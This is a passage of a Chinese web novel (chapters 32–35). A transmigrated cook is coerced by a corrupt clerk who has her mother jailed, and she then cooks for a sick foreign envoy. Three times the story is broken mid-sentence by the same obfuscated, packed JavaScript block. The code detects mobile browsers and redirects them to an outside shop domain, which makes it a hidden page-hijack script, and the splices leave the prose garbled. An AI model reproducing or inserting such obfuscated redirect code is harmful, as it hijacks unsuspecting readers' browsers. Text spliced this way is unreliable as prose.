她要回周家去，讨回自己这么多年，当牛做马的工钱，不多，十贯，一年一贯，六贯留着开她的小铺子，剩余四贯给阿娘他们路上傍身。 若周鑫还偏袒婆婆，她不介意闹个天翻地覆，鱼死网破，让街坊邻居看看，婆婆如何苛刻媳妇，让周家以后生意做不下去。 姜宁不晓得她一番心意，导致苏悦心气翻天覆地的变化。 推让几番，苏悦假意接受她的好意，收下铜钱，打发她去买菜后，只取了自己的工钱，剩余的全部放回去，把钱袋藏到老地方，收拾东西，带着巧儿回去周家。 姜宁揣着五百文，提着篮子去菜场买菜。 看着两旁摊子上琳琅满目的菜蔬，她有些时候也奇怪。 这个地方，看人们打扮，应该和宋时差不多，但，物产种类又比宋时丰富多样，辣椒，玉米，土豆，西红柿，该有的，不该有的，都有，当然，因为栽种水平，运输水平低下，化工提炼水平低下，经过精加工的调料，价格相当感人，比如，她买过的白糖，八十文一公斤，比如胡椒粉，十文一克，精盐，一百文一公斤。 她走到肉区，整整三条主路摊位都是卖羊肉的，猪鱼鸡鸭其他挤在偏僻的一条路边的摊位上。 咦，姜宁惊喜的看着猪肉摊旁一个半大小子，他木牌上写着三十文一公斤的木盆里，大半是银鱼，掺杂了些现代一公斤需八百元的抗浪鱼？ 32. 第 32 章 男孩约莫十一二岁，甚是腼腆，黝黑的脸，厚厚的嘴唇好似紧闭的蚌壳，和旁边摊位上的大哟小呵形成鲜明的对比。 有贪便宜的大娘瞧他拘谨，同他讨价还价，开口少了一半的钱：“今日大家买羊肉吃，谁还吃死鱼，你这个鱼卖不掉的！便宜些，十五一公斤，我做好人，给你全部兜走！” 男孩涨红了脸半天，挤出两个字：“不卖！” 姜宁看了一眼木盆，死掉的银鱼变成了乳白色，漂浮在水面上，底下荡着些抗浪鱼，半天动一下，看着也快死了。 好心当成驴肝肺，不识好人心，大娘骂骂咧咧半天，把周围看热闹有心思买的人都吓走。 男孩气得满脸黑红，抱着盆一气走了。 姜宁跟着绕出菜场，喊住他询问：“盆里所有鱼儿一起，三十文一公斤吗？” 男孩回头看她一眼，点点头。 “行，我全要了！” 他们找旁边卖果子的老板，借了秤，总共三公斤，合计九十文，姜宁滤干水后用荷叶包起来放在篮子里。 姜宁也馋羊肉了，绕回羊肉摊子上问了一下，羊里脊要价450文，后腿420文，前腿350文，平均400文一公斤，忒贵了。 她扭头就走，吃不起，根本吃不起。 最后，她买了一只半大的公鸡，八十文，据说不会打鸣，主人卖了换钱。 回到家，发现阿姐留了条儿，说是带着巧儿回周家有事，不用等她吃饭。 魏婆婆因儿子没有回来，带着小板栗去她阿姐家，一起团聚过中秋，走前交代她晚上帮忙留门。 姜宁先把银鱼和抗浪鱼挑拣开，银鱼裹些草木灰轻轻搓洗掉表面的粘液，然后反复用井水冲洗，直到完全干净，摊薄在竹筲箕里晾干水分。 抗浪鱼约莫有一公斤，这会子全都死了，每条食指长，银白色的肚皮，青色背脊，如柳叶一般细长。 抗浪鱼学名鱇浪白鱼，高原湖泊抚仙湖特有的鱼种，味道极其鲜美。 现代的时候抚仙湖水质污染，导致抗浪鱼产量锐减，被列入濒危物种，收录为国家二级保护动物，曾经有客人花三千元一公斤弄来，让她料理，她煮了个清汤，闻着味道便香得不得了，客人把汤都喝干净了。 今日有缘，三十文弄到了一公斤，她觉着赚翻了，当然，也许，现在抗浪鱼还不是濒危物种的原因，但她心驰神往已久，必须大快朵颐一次。 抗浪鱼内脏很小，指腹轻轻在肚子一按，内脏就鼓出来，扯掉就行，不用去鱼鳃和鱼鳞。 杀鸡褪毛麻烦了些，弄了大半个时辰，甚是怀念现代的褪毛机器。 拔毛完后，她捡出漂亮的大毛洗干净晾晒在院子里，干了后可以给苏慎做毽子，还可以做鸡毛掸子。 鸡身上有些绒毛，她从锅洞里夹了些燃烧的木柴出来，放在破陶盆里，用明火烧毛，须臾，绒毛便烧焦，变成黑灰色，再用井水洗干净。 做好准备工作，她开始烧菜。 晾干水分的小银鱼，撒上细盐，侵入蛋面糊中，再拌入一点碎葱叶，用八成热的油炸，透心后捞出，冷却后放入油里复炸一次。 抗浪鱼吃的是鱼本身的鲜味，用抚仙湖的湖心水最好，她现在的财力做不到特意去湖心里取水，取了一盆清澈的井水，敲打几块黄姜，冷水入锅，同放入清洗干净的鱼儿，水沸后鱼便漂浮再汤面，因鱼尾部肉较多，煮熟后，每条鱼儿头朝上漂在汤中，眼睛看着上方，好似在仰望星空，装在大陶碗里，撒一小把翠绿的葱叶碎，重新烧热一小勺猪油，泼在汤面，增加鱼汤的风味。 最后的鸡，姜宁用来红烧，热锅放油，待猪油化掉后，放入黄姜片，辣椒段，放入一勺老酱，炒出香味，倒鸡块翻炒半熟，一次加入淹没鸡块的冷水，等沸腾后，改小火慢炖，放入白糖，细盐调味。 等鸡块熟透时，加入切好的土豆块，红椒青椒块，半个西红柿，文火慢慢收汁。 当然，她还蒸了一锅米饭。 在桌上摆好菜，门便敲响了。 一定是阿娘阿慎他们回来了，好凑巧，菜起锅时吃，味道最好。 她欢喜的去开门。 门外站在垂头丧气的阿慎，和跟在他身后的熟人：胡光骏。 胡光骏面上带着胜券在握的微笑：“阿宁，我们又见面了，不请我进去坐一坐么？” 姜宁没看到姜氏，看到对方身上的蓝色公服，心不住往下沉，扯进苏慎做势关门：“我和你没有什么好说的，你赶紧走！” 胡光骏一把推开门，挤进门：“巧了，我有好多话给你说！”自来熟往里走。 他打量一番院子，泥地茅草顶，嫌弃之色快要溢出来：“你这段时间就住在这里么，茅草屋顶篱笆墙，是有几分野趣！” 走近屋子，他便闻到一股霸道的香气，脚步不由自主拐到一边的灶房去。 松木方桌子上摆在三菜一汤：金黄的炸小鱼儿，红烧鸡块，碧绿的素炒菜心，还有一大陶碗，眼睛齐齐看着他的清亮鱼汤。 他家开着饭馆，别说，这颜色搭配，红绿相间，比一大桌看着赏心悦目，虽说没有肉菜（羊肉），却让人忍不住食欲大开。 胡光骏转头，伸手去捏姜宁的下巴，语气里满满的亲昵：“知道我来，费心做了好菜啊，嗯？” 他那个嗯字语调上扬，好似情侣间亲密的挑逗。 姜宁在他伸手时，警惕的跳到侧面，被他那声嗯，酸起一身鸡皮疙瘩，嘴里呵道：“做你的春秋大梦去，我做给阿娘和阿弟吃的，赶紧走，莫要在自作多情，丢人现眼。” 胡光骏不恼，施施然坐在桌边用筷子开始尝菜，随意丢出一句：“你阿娘回不来了！” 留下目瞪口呆的姜宁和哭诉的苏慎，他坐下吃菜。 他先夹了一条盯着他的抗浪鱼，放到嘴里，轻轻一抿，鱼肉顺着从大骨上滑到嘴里，舌尖先感到一股极致的鲜甜，轻轻咀嚼，鱼肉紧致却嫩滑，里头含着的细小绒刺，像羽毛一样，轻轻一抿，不一会便化开在舌尖，顺着食道悄悄流到胃里，剩下无尽的回甘。 曾经不屑一顾的小野鱼儿，竟如此鲜美。 他又夹了一条金黄色的蛋糊，里头应该是鱼吧。 入口先是咔擦一声脆响，咬开焦香面壳，露出里头月白色的鱼身，那是另外一种口感，软嫩无骨，带着一股天然的轻甜，不如先前的鱼儿鲜甜回甘，但更加弹韧有嚼劲，这个时候，配一杯酒水，和心悦之人，对饮打趣，再合适不过！” 他又夹了一块鸡肉，不同于鱼儿的鲜甜，鸡块吸满了料汁，口感爽滑紧实，又具有浓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065383|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重的咸香。 里头的炖土豆软糯出沙，带着一点点颗粒感，吸满了料汁，吃着绵绵的，莎莎的，软软的。配米饭一定极棒的。 清炒菜心脆爽解腻，带着似有似无的蒜焦味，咸香脆爽。 胡光骏感叹，这几个菜深得我心啊。 几日不见，这丫头手艺越发纯熟，竟比上辈子还要老练几分。 难怪敢和他闹脾气，原来是自持有手艺在身。小丫头越来越有趣，更让他舍不得了。 他闲情逸致吃着，余光看热闹的扫过桌边的两人。 旁边苏慎哭着道：“你走了后，便来了几个穿公服的官差！” “他们说我们没有依法摆摊，占道经营，挡了行人的路，吵闹到周边百姓，把我们捉到了衙门。” “到了衙门，他们命阿娘，缴纳三十贯的罚金，我们交不出来，他们便把阿娘按在受刑凳上，打了阿娘十板子！” “这个哥哥，说了几句好话，他们才同意，放我回来取钱，说给我们一日的功夫凑钱，若后日一早开衙，不把三十贯送去赎人，继续打二十板子！” “呜呜，阿姐，我回来的时候，阿娘裤子都沁出血来，疼得说不出话来，阿姐，阿娘会不会疼死啊？呜呜” “我们去哪里凑三十贯啊？” 胡光骏惋惜的看了一眼桌上的菜，可惜了，得走了。 放下筷站起身教训：“你看，这便是离开我的下场，没有我的庇护，你摆个摊，都摆不下去！” “阿宁，你可知道错了？” 缓了缓，他换了个安慰的语气： “我知道你现在一定很着急，六神无主。 宝贝儿，不急哈。在你眼里天大的事儿，在我这里小事一桩。 我现在在衙门上值，在衙门里面，有几分薄面，幸好今日凑巧碰见。 你看，我都能把你弟，完好无损的带回来，定然能把你娘捞出来。 只要你肯低头，我帮你准备好三十贯，和衙门从中周旋，只要我在，他们不敢坐地起价，必然救出你母亲。 你好好想想，是跟着我吃穿不愁乖乖享福，还是日日在外头提心吊胆摆摊，同时抛头露面低三下四卖笑求人？ 我也该回去过节了，若是你想明白了，明日天黑，到东门外的小树林来找我，我备好钱，驾着马车等你，后日一早我们去衙门赎人。” 说着他暧昧扫了她一眼，意有所指：“记得打扮漂亮点！” 他走到门口，侧脸冷笑留下一句：“今日杖直看我面子，打了空板，伤势看着唬人，没伤到筋骨。 若误了时辰，后日一早，就要打二十大板了，没了我从中说和，这真材实料二十板子下去，人熬不熬得下来，可要看天意了。你可想好了再做决定！” 说完，他面上挂着势在必得的笑走了。 姜宁恨得牙痒痒，关了门怨恨痛骂：“无耻卑鄙小人，我姜宁不收拾你，我跟着你姓。” 苏慎拉着她的衣摆，哽咽着捧上自己悄悄攒的私房钱：“阿姐，这是我所有的铜钱，我们能凑够三十贯吗？” 姜宁沉默了，不是三十贯的事。 这明显是胡光骏设的套，即便她弄到三十贯送去，没有胡光骏发话，衙门重新寻个其他名目扣着人不放，她能怎么办？ 33. 第 33 章 姜宁越想越窝火。 若衙门秉公执法，她摆摊影响到行人，吵闹到街坊，被投诉罚钱，她认。 可是明明之前那个抄袭她们的婆子，引起公愤了，才罚一百文。 到了她们头上，漫天要价罚三十贯，没有这样的道理。 而且每次摆摊后，她带着扫把，把那一片街道收拾得干干净净，树叶不留一片。 书院前门具是高大的树木，没有街坊投诉，也没有弄脏街道，不存在被投诉一说。 姓胡的假装恰巧碰见，假惺惺当着苏慎的面向衙役求情，她可不是原本养在深闺不经世事的苏宁，被他三言两语哄了去。 大家都是千年的狐狸，玩什么聊斋？ 明摆着是他从衙门找人做的手脚，逼她低头。 若只是道个歉说几句软话，做点菜给他吃，她捏着鼻子认了，就当不小心踩狗屎了。 可是他想干什么？ 什么叫天黑了在小树林的马车里等着她，还要她打扮漂亮点，这个渣男是打算霸-占了她。 好个恶心的卑鄙小人。 偏偏她初来咋到，没有根基，受他拿捏。 姜宁破口大骂完，一条一条思索着办法。 回苏家村里去请阿爷和大伯想办法周旋？ 她冷笑了下，她们出来这么长时间，阿爷都没出来寻她们，不说到处找，至少阿姐家该去问问吧，没有。 她算是看清了，阿爷心里她们二房娘几个轻若鸡毛，之前胡光骏吓唬几句，就讨好胡光骏，现在知道他入了衙门当差，巴不得亲自把她洗干净绑好送去。 找姐夫周鑫？ 算了，他这段日子看出来了，周家韦婆子做主，周鑫即便心里有姐姐，也是个娘宝男，是个嘴花花，没担当的，找他白搭，没用不说，倒惹得韦婆子一顿嘲讽奚落，姐姐受气。 找魏婆婆，她就一小老太婆，没有做官的亲戚，有心无力。 她扒着手指头，一个个分析认识的人。 眼前一亮，有了，她去请小胖夫子帮忙，瞧他性子，是个不拘小节的，这样的文人，必然看不惯不平的事，也许会伸手帮她一下。 她理清思路，添了碗饭，加了些鸡肉烧土豆，安慰道：“你莫哭了，我想到法子，这就去接母亲出来，你吃饱饭，好好看家！”安慰好弟弟，她随意扒拉了半碗白米饭填肚子。 有求于人，不好空手上门。 现在外头的店铺，大部分都关门过节，有钱也买不到合适的物件。 她看一眼桌上的三菜一汤，刚才焦急问苏慎阿娘的情况，没顾上，每一样菜被姓胡的捷足先登，尝了个味道。 幸好她家有用公筷公勺分食的习惯，姓胡的也用了公筷，倒是没沾染了他的口水。 算了，事急从权，事后再重新补上。 姜宁找了油纸把小银鱼包裹好，放在兰花竹筒里，又舀了半桶抗浪鱼清汤，另装了一满竹筒鸡肉烧土豆，又装了一桶米饭，另一个竹筒装了半桶饭和炒菜心，用油纸封好口，五个竹筒一起，干净的稻草紧紧包好保温，竖着放在篮子里。 又从床底下拖出钱袋，摸出两贯钱，想想，改成五贯钱，藏在怀里，急忙忙出门。 她先去医馆，花了三百文，买了半瓶烧酒，和一瓶金疮药，循着人问路，找到衙门。 今日中秋，衙门官员大都放假在家，剩两个人坐在门房里看守发牢骚，互相推诿让对方去买饭，她挤出笑上前，奉上竹筒里冒着热气的土豆烧鸡，和另一个竹筒里的白米饭。 小心套近乎：“两位大人今日辛苦了，这是草民为两位大人带的晚饭，现宰杀的小公鸡烧的菜，味道极香，两人大人不嫌弃的话，胡乱对付一口。” “我家人被抓进来，打了十板子，请大人容我进去探望一二，送些吃食。” 说着，她露出篮子里的竹筒装的菜心米饭。 两人不动声色撇她一眼，眼底闪过一丝同情。 啧，今日被打的妇人，很是要强，被打的时候一声不吭。 就是这小子家啊，也是惨，摆摊做点小买卖，不知道得罪了谁，被捉住往重里收拾。 又看她给两人准备了晚饭，解决了他们晚饭的难题，是个懂事的，指着上房有心提点：“诺，进门右转，走到头的矮门里，便是牢房，你去吧，悄悄的勿声张，莫要让上头的大人知道。” 姜宁再次感谢两位大哥，急匆匆顺着墙根进了牢房。 牢房里，今日看守的正是见过一面的巡街三人组，卢都头三人。 三人坐在监房里生闷气，他的徒弟骂道：“师傅，上头太不讲情面了，我们好好的巡街，又没犯错，干嘛把我们调来看犯人，晦气。” 巡街多自在，看守像坐牢一般。 卢都头双手抱着，坐在椅子上，满身的烦躁，他们是吏，公房里坐的是官，上头吩咐做什么，他们没有置喙的余地。 忽而，他耳朵动了动，呵斥：“闭嘴，一天胡咧咧些什么，大人们自有计较，安排我们做什么，我们只管办差，莫要多话！” 他眼神示意外头。 不一会，姜宁从外头进来，看见三人，先是愣了下，继而赔笑：“原来三位大人，我们知道错了，以后再也不乱摆摊，我来看望母亲，请大人行个方便。” 说着，她双手奉上准备好的两串铜钱。 人是上峰带队，带着他们亲手逮回来的，里头的猫腻，他自然知晓，对他家深感同情，不晓得得罪了哪个，飞来横祸。 哎，平头小老百姓，都不容易。 没收她的钱，指了指里头第一间牢房：“你只管去，能容你一刻钟！” 末了，他忍不住提点：“你家这事，根结在人，不在钱，想想得罪了谁，该低头还是要低头的。” 姜宁看他一眼，深深作了一揖道谢，匆匆奔到牢房里。 木栅栏牢房里，姜氏趴在稻草上，大腿根部的裤子染了一大摊乌黑的血迹，她面色发金，毫无声息，一动不动。 她心提了起来，扒着木栅栏的空隙，轻声焦急叫唤：“阿娘，阿娘，你怎么样！” 半响，里头姜氏悠悠睁开眼，看见是她，焦急呵斥：“你个龟孙子，你来这里做什么，快回去，区区十板子，打不死老娘。” 她眼眶里盛满了担心，她娇生惯养护在手心里的闺女，怎么可以来这污糟晦气之地。 这里关押的大都是作奸犯科的人，不晓得女儿有没有被看门的为难欺负，被囚徒污言秽语脏耳调戏。 姜宁心头一热，知道姜氏担心她的安危，指了指脸，示意脸上抹了桑葚水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069260|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，黑丑黑丑的，没事的。 姜氏悄悄瞄了眼看守，几个看守围在一堆说话，没注意他们这里。 她又瞪着旁边牢里的人破口大骂：“看看看，看你个直娘贼，再偷看老娘儿子，老娘把你眼珠子扣下来喂狗！” 旁边犯人见识过她的泼辣，忙转过身背对着她们，竖着耳朵偷听。 她挣扎着起来，靠在栅栏边，接过竹筒，吃起饭来。 姜宁解释：“听阿慎说，你受了伤，不敢给你吃辛辣的，鱼汤很是清甜滋补，菜心清脆爽口，你先对付几口，我一定想办法，尽快接你出去。 您多喝点汤！” 姜氏嗯了一声，闷闷吩咐：“明日不用过来，这地不吉利，你们老实呆在家里。 也不要拿钱来赎我，我们又不是什么大错，我就不信了，他们还敢把我打死不成！吓唬吓唬我们几日，就放我出去了。” 姜宁不置可否，怕她着急，唯唯答应。 掏出烧酒和金疮药，要给她洗伤口上药。 姜氏接了过去道：“不用，你走吧，天黑了我自己悄悄的弄，现在不方便！” 也是，伤在大腿跟，牢房里只有些稻草铺在地上，没个遮挡。 姜宁仔细打量她。 吃过饭的姜氏脸色蜡黄，精神尚佳，放下心。朝着几位看守道了谢，急忙忙离开。 她提着篮子，直奔冯家布料行。 敲开门，陈婆婆打开看见是她，诧异：“急着要布匹吗？” 姜宁脸一红：“我，婆婆，打扰你家了，我找杜夫子有事相求，又不知他家住哪，我想问问，小胖知道么，能不能麻烦他，帮我指个路？” 小胖不知道，她知道。 陈婆婆没多问，安慰道：“没事，不要急，我知道他住哪，我带你去！” 她上门寻夫子替孙子送节礼，门没进被打发回来了。 说着，扭头朝里头儿子媳妇交代了一声，领着姜宁往西云书院后门走，嘴里解释：“他不是我们这的人，父母妻儿在老家。 杜夫子先前独自一人住侧门一套一进的小宅子，他嫌一个人住太空，出租了，住在书院里的单间寮房。” 到了侧门，门房有两人看守，堵着不让进。 姜宁苦苦哀求，塞了一串钱，看门的领班袖了铜钱，面上温和了些。 为难道：“我们得了上头命令，不给进的，这样，我让我兄弟，去替你通报一声，看他能不能出来！ 你贵姓呢？” 姜宁大喜，从篮子里掏出装炸银鱼的兰花竹筒：“多谢您，劳烦把这个送给夫子，说我有事相求，他一看便知道我是谁，定然会出来的。” 领头的接过兰花竹筒，招手示意旁边的同伴：“阿闷，你替这个小兄弟走一趟。” 两人退出坐在门外等着。 姜宁不住的感谢陈婆婆：“婆婆，今日实在麻烦您了，过节跟着我东奔西跑，要不，您先回去过节，明日我和母亲登门道谢。” 陈婆婆笑道：“没事没事，回去也是坐着聊天，闲的。一会等夫子出来，看看我能帮什么忙？” 约莫一盏茶的功夫，叫阿闷的门子远远走来，只他一人。 姜宁面色大变，杜夫子不愿意见她？ 她，还能怎么办？去求谁？ 34. 第 34 章 姜宁思绪百转，努力分析着她可以走的法子。 最后还有一条同归于尽的路，当街堵女主高明珠的车架，跪地痛哭，求两人放自己一条生路，自己一定滚得远远地，成全二人。 这样一来，碍于名声，高明珠恼羞成怒出手，能保住姜氏，但她大庭广众坏了高明珠的清誉，她肯定要被清算，不晓得高家能使出什么样的雷霆手段。 咬着唇，刀山火海她也要拼一把。 她低头沉思的时候，名阿闷的门子走到门口，伸手指了指掩在树林间的屋顶：“杜夫子说，请你进去说话。 他的寮房在第三间，你顺着路走进去，一看就知。” 峰回路转，不用鱼死网破，姜宁几乎喜极而泣，她作揖道谢了一声，陈婆婆陪着她一起进去。 到了寮房，杜夫子客气亲切，亲手为两人泡了茶。 “多谢你送来的小炸鱼儿，酥香可口，正好配酒赏月。如此急匆匆上门，有什么事直管说？” 姜宁不兜圈子：“我娘在西云书院外摆摊，被衙门捉了去，打了十板子，说是我娘违法摆摊，后日一早，补足三十贯罚金，才放人，不然便要将我娘打死！ 我，我想请先生出面，帮我转圜一二。” 听她说完的杜夫子，面色有些难看：“是，有人从中作梗？” 书院门口之前也有摆摊的，衙门过来赶走后，罚几百文了事，姜家这事，水深啊。 姜宁不敢隐瞒：“我家和个叫胡光骏的男子，有些龌蹉，他许是走了高家的门路，前几日到衙门里上值。” 前几日到衙门上值，最近没听说招考，不是正经录取的。走门路大差不离。高家族大人多，不晓得是高家哪人的手笔。 弄到衙门上值，不是钱权紧要位置，应该不会太重要。 既然是高家的关系，他贸然出手，反而把自己搭进去，不妥。唯一办法，魔法打败魔法。 杜夫子沉吟了一瞬道：“这事，我人言轻微，帮不了你！” “不过，我可以和你指条路，你可以试一试。” “我同僚高夫子，就是那日和我一起去你家的高夫子。 他伯父任外使馆主事，因外使贵人不满使馆做的饭食，脾性暴躁发怒，已经砸了好几个雕花大椅，所有交流事务被搁置下来。” “他们一家子因此事，中秋节也过不成，还在外使馆的厨房里盯着厨子做菜，若你能做出，外使满意的菜肴，你娘小小的一个违法经营，捞出人来，对于他们来说，应该是举手之劳。” 和她之前的预想差不多。 姜宁面上感激，痛快点头：“我愿意前去一试。请夫子为我解惑，贵人从何而来，有何喜爱偏好么，脾气暴躁，是一直暴躁，还是越来越暴躁？” 杜威看她眼睛亮晶晶的，好似成竹在胸，笑道：“你只管去，问这些作甚？” 姜宁解释：“打听客人的喜好，才能针对贵人，做出他喜爱的食物。 就像北方的学子来贵院求学，你让他日日吃我们这儿香辣的菜，再鲜美可口，他肯定吃不惯，看一眼便没了胃口。” 杜夫子颔首，是这个道理。 他道：“我听培元提过几次。贵人才到的时候，高贵客气，对馆里伺候的下人，还算平易近人，为他跑了腿等，赏一把铜钱。 那会里头伺候的人，都喜欢往贵人面前晃，就是想要个讨好贵人的机会。 后天，他便越来越不待见馆里的人，看谁都不顺眼，和过去交流的大臣，一言不合，就砸椅子。 听说，使馆已经换了十多把椅子了。” 姜宁听了，蹙眉：“若不是染了什么病症？” 杜夫子叹了口气：“使馆也寻大夫去诊治，被他一阵奚落痛斥赶了出来。”大家都知道那人生病了，偏偏人家自己觉得没病，大家都很无奈。 “对了，贵人来自北沅，喜食羊肉，羊乳等。” “你确定要去么，万一途中出了差错，那真是一点办法都没有了！”外使馆要找人甩锅，这些没有背景的厨子，便是最好的背锅侠。 姜宁被贵人来自北沅惊到了，原来如他。 原书中，这位北沅贵人，体壮如牛，唯我独尊，来到她们南理国后，便有了头晕头疼失眠的病症，不当回事，日日坚持耍枪练身，活生生把自己作死了。 他死了后，北沅追责南理国，要求赔银三十万两，否则挥兵南下。 皇室窝囊胆小，不战而屈，同意赔款。 为了筹措金银，朝廷肆意卖官鬻爵，增收赔款税，百姓怨声载道，对皇家段氏骂声不绝，民怨沸腾，后来高家卖田典地，凑了一半的赔款，这才免了百姓赔款税，经此过后，高家在民间，声望大涨，远超皇族段氏。 她当时看书的时候，作者对朝野动荡稍微带了几笔，重点描述女主出游，看见百姓卖儿鬻女凑税钱，善良的女主回去劝父亲，高家当家人卖地典田，帮助百姓度过难关。 后来女主身份水涨船高，但依旧不嫌弃男主是个小虾米，如往常一样待他，充分体现了女主的善良美好。 姜宁看书的时候，只关注死了的贵人，这明显是典型的高原反应啊。 她私房菜的客人也有这种反应。 现代这种病很容易，大流量高浓度吸氧，住院挂水降低颅内高压，问题是，现在的医疗水平，做不到。 若是准备来这儿之前，他提前服用中药红景天，能有效预防，如今有了高反症状，应该立即绝对卧床休息静养，撤回低海拔地区，他还不知死活每日打卡练功，那是老寿星上吊——嫌命长！ 姜宁有些难办，她做菜再厉害，也没本事手搓甘露醇地塞米松，那人现在口服红景天，效果也会不尽如人意。 这时，脑海里的系统发声：“宿主，你可以从商城里选购各种丹药，比如《补脑剂》，《静心香》等，可让人不再头痛失眠。” 姜宁哦了一声，是啊，她还有个粗糙的商城系统。 她连忙在脑海查看系统，点开补脑剂的说明书：本品口服，使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074310|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用后，刺激脑细胞活跃生长，能让你迟钝痛苦的大脑，变得清晰明了，诗词歌赋信手拈来，立刻变身天才少女，吸引周围所有人的目光。 副作用：有效期一个月，若停用本产品，生长的细胞会萎缩沉眠，你会暂时变得健忘，嗜睡！ 静心香：本品点燃后熏闻，无色无味，使用后，安抚躁动不安的思绪，抚平小鹿乱撞的心脏，让你的情郎立即进入贤者时间，缓缓入睡，是从三姐裙下抢救情郎清白的必备良方。 副作用：有效期一个月，这一个月内，他会变得嗜睡，一天十二个时辰，至少睡十个，不能时时刻刻陪在你身边。 药效过后，因强行冷却，对男性-功能有一定的影响，可能有一年时间，不能人道，请宿主谨慎使用。 姜宁看过说明书，补脑剂和静心香都有有效缓解高原反应带来的头痛头晕，而且能强制使用者入睡，对于那位好动的贵人来说，再合适不过。 补脑剂需口服，万一那个多动症贵人不肯喝，白搭。 静心香只需点燃，倒是给了她发展的空间。至于后头的小字，在保命面前，不值一提。 姜宁想清楚后，立刻请求杜夫子：“我想好了，前去一试，请先生为我引荐。” 杜夫子见她发怔了一会后坚定的要去，也欣赏他迎难而上的勇气，起身道：“事不宜迟，我现在就带你过去。” “外头不允许自带食材物件，你只要人去就是！” 到了外使馆，两边重兵陈列，肃静无声，看来情况不妙啊。 杜夫子跟着高培元来过几次，门房认识他。 他寻到门房叫出高培元，三言两语交代清楚。 高培元挥手招来门房中一人，丢给他一枚令牌：“隋兄弟，你跑一趟，去府衙木牢里，接一名叫姜万荷的妇人，就说外使馆要过来办事。 然后把她送回家，好生安置。” 他安排好，转身带着姜宁进门：“小姜兄弟，这边事了，你再回去看你母亲。你有什么拿手的，尽快试一试，那边……。” 他顿了下，面色难看：“贵人同意看了大夫，已经配了药喝，效果不好。 贵人依旧恶心，吃不下，今日还昏过去一次，醒来后越发暴躁，看着不太好。” 他面色发白，安慰她：“你不用怕，即便有什么，我会尽量护住你的。” 到了厨房，各种新鲜食材应有尽有，锅灶上热气腾腾，对比差异的是，穿着外使馆制服的一个厨子，三个帮厨，麻木的做着琐碎的事，听到动静，淡漠抬头看了她一眼，继续低头做着手里的事。 他们知道，若贵人死了，他们都是遭殃的池鱼。 姜宁心中有计较，一叠声朝几人喊：“你们若不想坐以待毙，快来帮我，我做的菜，他一定吃！” 那几人眼睛恢复了一点亮光，好似抓住的救命稻草，走到他面前：“你说，我们配合，就当死马当活马医了！” 姜宁种种点头：“我们准备过桥米线，让他自己动手做着吃。” 35. 第 35 章 姜宁先请高夫子寻些晾干的红景天来。 然后带着厨房里的四人忙碌起来。 一大厨三帮厨不敢糊弄，知道这是性命攸关的事，完全遵照姜宁的意思照办。 过桥米线精华全在那口汤里。 不愧是外交馆的厨房，物品菜蔬齐全完备， 姜宁选了一只宰杀好的老母鸡，一条牛大骨，泡干净血水后，冷水下锅武火炖煮，敲入几片黄姜，撒一点点胡椒粉，锅里汤汁翻滚冒泡变成乳白色时，切入十片胭脂红的火腿肉，再丢几朵秋尾的鸡枞菌，改小火慢炖。 等候炖煮的功夫，姜宁开始做酸浆米线。 厨房里有泡软的上好粳米，预备蒸饭的，她干脆取过来。 淘洗后加入一倍的水，用石磨磨成米浆，本来需要发酵一二天，这里她没工夫等发酵，直接把米浆倒在盖了湿布的蒸笼里，上锅蒸熟，取出米糕冷稍微凉些，搓揉成团，塞在竹筒里。 竹筒低端用钉子敲了些小洞，再用一只直径小一些的竹筒，像推注射器那样，从后面推动，米糕在压力下，从前面的小孔挤出来，变成一条条均匀细长的长条米线，掉入冷水盆里，丝丝舒展开来。 米线便做好了。 接下来准备菜蔬，用一只大盘子，选用雪白的小骨碟整齐摆列，一一装配菜：现炸的香喷喷金黄酥肉，切得薄如蝉翼的深红牛里脊，薄片的淡黄小嫩鸡鸡胸肉肉片，临时宰杀的白中带粉生乌鱼片，黄色的豆腐皮，烫好的绿韭菜，黄豆芽，金黄的菊花，脆生生的泡竹笋，红艳艳的胭脂鹅蒲，林林种种，红黄橙绿，准备了三十种。 除了米线，她又准备了饮品，红景天奶茶。 高夫子取来一包晾干的红景天，她取了三株，约莫五十克，在砂锅里文火炒得微微焦黄，而后倒入沸水小火熬煮一刻钟，最后加入牛乳，少量白糖调味，用细密的纱布漏出残渣，把奶液装在透明的琉璃杯里。 另找了高培元要了一只使馆里常备的艾香。 做好准备工作，选了一只洗得蹭亮的老砂锅，在沸水中烫过后，添入滚沸的鸡汤，大厨端着鸡汤，姜宁和三个帮厨抬着配菜，如壮士出征一般，由高培元等人护送，踏入了贵人的房间。 坐在上首椅子上的宴时璟，左手杵着精铁长-枪，右手放在膝上，他此刻感觉脑子里有无数个小人在打架，好似想把脑壳敲个洞，钻出来瞧瞧。 又胀又痛。 